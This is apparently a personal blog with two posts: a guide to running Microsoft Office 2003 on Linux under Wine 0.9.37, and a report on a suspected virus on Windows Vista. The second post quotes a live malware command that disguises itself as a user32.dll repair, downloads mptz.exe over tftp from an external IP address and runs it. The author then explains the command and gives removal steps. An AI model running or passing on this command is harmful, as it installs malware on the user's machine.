Guide : How-to Install Microsoft Office 2003 in Linux

Hello,
this time we will talk about the installation and the use of Microsoft Office 2003 in whatever linux distribuction…
It’s a brief and fast guide ! Dont’worry ! 😀
First of all I need to be thankful to the REVIEW by Twickline,  one of the useful, but IMHO uncorrected guides about the installation of Office 2003 under Linux I’ve found surfing; so this lack of “easy knowledge” made me create the guide you’re about to read…but now…stop talking around…let’s start ! 😀

First, what will work using this procedure:

Word 2003
Excel 2003
Power Point 2003
Publisher 2003

Than what will NOT work
Access 2003 (IMHO anyway it’s USELESS)
Infopath 2003
Outlook 2003 (Useless this one too. 🙂

So let’s start:

Download, or install Wine 0.9.37 DO NOT install the lastest version of Wine, because is NOT working…

So DO NOT use your packet manager, (Apt, Synaptics)…but download this “old” version…
For Example at this link you can find the .deb (Ubuntu & Debian Packages) files.

1_
Go to your home folder (aka /home/sorcerer01) then go to .wine/drive_c/windows/system32
EX : “cd /home/sorcerer01/.wine/drive_c/windows/system32”

2_
Rename richedit32.dll and richedit20.dll to richedit32.bak and richedit20.bak
EX:“mv richedit32.dll richedit32.bak” & “mv richedit20.dll richedit20.bak”

3_
Make richedit*.dll “native”
EX: give “winecfg” to bash, go to “Libraries”, insert the dll names, into the mask

4_
Download the richedit30 update to desktop
Download Link

5_
Install richedit
EX: “wine richedit30.exe”

6_
Download the XML Parser
Download Link (only msxml3.msi)

7_
Install the XML parser using wine
EX: “msiexec /i msxml.msi”

8_
Follow the on-screen instructions

9_
Set “msxml3”, “msxml3” and “msxml3.exe” to native
EX: use “winecfg” as before described

10_
Add Owner and Organizaion Informations to Wine
EX: give “regedit” to bash,
      go to [HKLM\Software\Microsoft\Windows\Current Version]       
      add your name to the keys “RegistredOwner” and “RegistredOrganization”
      then go to [HKLM\Software\Microsoft\Windows NT\Current Version] and
      and proceed as before

11_

Mount the Office 2003 CD with the option to see the hidden files…

EX “Insert the cd-rom into the drive”
      “Make sure it is not auto-mounted (umount /dev/cdrom as root)”
      “give this or something similar to bash (it depends on your distribution…you probably should know the right                                                                       command if are reading this guide)
       “mount -t iso9660 -o unhide /dev/cdrom /media/cdrom”

14_
Start the installation procedure
EX: go to the cdrom directory and give
          “wine setup.exe”

15_
Follow the onscreen procedure to install Microsoft Office 2003

16_
Try to start an application
EX: ” Probably you got into a new main menù voice called “Wine” where you can find the Office programs, anyway the bash command is…
       “wine “/home/sorcerer01/.wine/drive_c/Program Files/Microsoft Office/OFFICE11/winword.exe” “
         

       and so on…

FGA (Frequently Given Answers)

YES, you really need that old version of wine. (newer version are not working…at least up to 0.9.48)

Yes, you have to change “sorcerer01” to your home directory name…(usually it’s you user name)

Yes, if you’re using Ubuntu the installation works with the “sudo” command…

You shouldn’t need be root for make wine running and – or – install MS Office…

You just need to be root to install wine and maybe to mount the cdrom…

I am not sure, I’ve heard of people activating Office 2003 in linux…probably you should know what to do about the problem….

No, Wine-doors CAN make it working…but only if you’ve installed Wine 0.9.37

No, Wine programs, are NOT shared between different users

No, If you are using Beryl or Compiz, you probably DON’T NEED to disable them.

No, I don’t know how to run Access 2003

No, at this time I don’t how to make Office 2007 running

FAQ (Frequently Asked Questions)

Q: Why to install 0.9.37 and now the lastest one ?

A: The problem is a common error, probably related with the implementation of the msi.dll into the newer and older versions od Wine; this error makes EVERY Office Application to hang up with this error code

“Microsoft Office Word has not been installed for the current user. Please run setup to install the application”

more informations about the bug are here , here , here, and here.
The only, current, solution is to downgrade to 0.9.37

Q: I’ve already got a newer wine installation, what to do ?

A: Well…It depends…simply try to remove the program…and install the old one…(all your files wil be kept), If everything is working anyway…you’re okay… !
If your applications aren’t working anymore you probably need to keep two different installations of wine..but I think this is really OT…

As usual, hope this was helpful…to someone…

new virus ???

Goodmorning,

today I was working at my computer when unexpectedly the friendly Windows Vista Search System ( Search Utility) pop out…looking for…??????????????

%comspec% /c echo Repairing user32.dll & echo Please wait… & tftp -i 76.203.188.177 GET mptz.exe & start mptz&

well…I admit I love Vista….it’s so secure !!!!!!!!!!!!!
what, the hell,  is happening ???????
That Vista Firewall is working ???????????? or no????
And the Updates ???? why I’m installing each one if they’re useless ?????????

I’ve probably received a new connection from an unknown IP address…scanning..thousands of address….
and trying to spread himself…over MY network…using a Vista Bug…but what is happening NOW ?

The environment variable %comspec% given at the Run menù simply starts the default command shell (cmd.exe)…

Then this shell with echo shows “Repairing user32.dll & echo Please wait… ” after this…the system connects via FTP to 76.203.188.177 and with a GET command downloads mptz.exe and starts it with the start command…
and the virus…spreads again….
Unfortunately….the good Process Explorer helped me…KILLING the task……………….

Looking into google for mptz.exe…offers no results…so I think it is a new virus…starting in these days…

But who is 76.203.188.177 ???
at this whois service i got:

Registry Whois

OrgName:    AT&T Internet Services
OrgID:      SIS-80
Address:    2701 N. Central Expwy # 2205.14
City:       Richardson
StateProv:  TX
PostalCode: 75080
Country:    US

NetRange:   76.192.0.0 – 76.255.255.255
CIDR:       76.192.0.0/10
NetName:    SBCIS-SBIS-6BLK
NetHandle:  NET-76-192-0-0-1
Parent:     NET-76-0-0-0-0
NetType:    Direct Allocation
NameServer: NS1.SWBELL.NET
NameServer: NS2.SWBELL.NET
Comment:    Contact  for general IP
Comment:    Administration support.
RegDate:    2006-09-15
Updated:    2007-05-25

 

So ???? The AT&T System is trying to hack me ?????????? 😀

nooo……

anyway;

Solution: ” To Eliminate the Virus,
1_ KILL THE TASK named mptz.exe,

2_ then “jump” into your System32 dir

3_ and delete : mptz.exe, gebxwvv.dll and awtqp.dll

YOU are the only antivirus needed for your system

Hope this…was Useful…

Seeyou….

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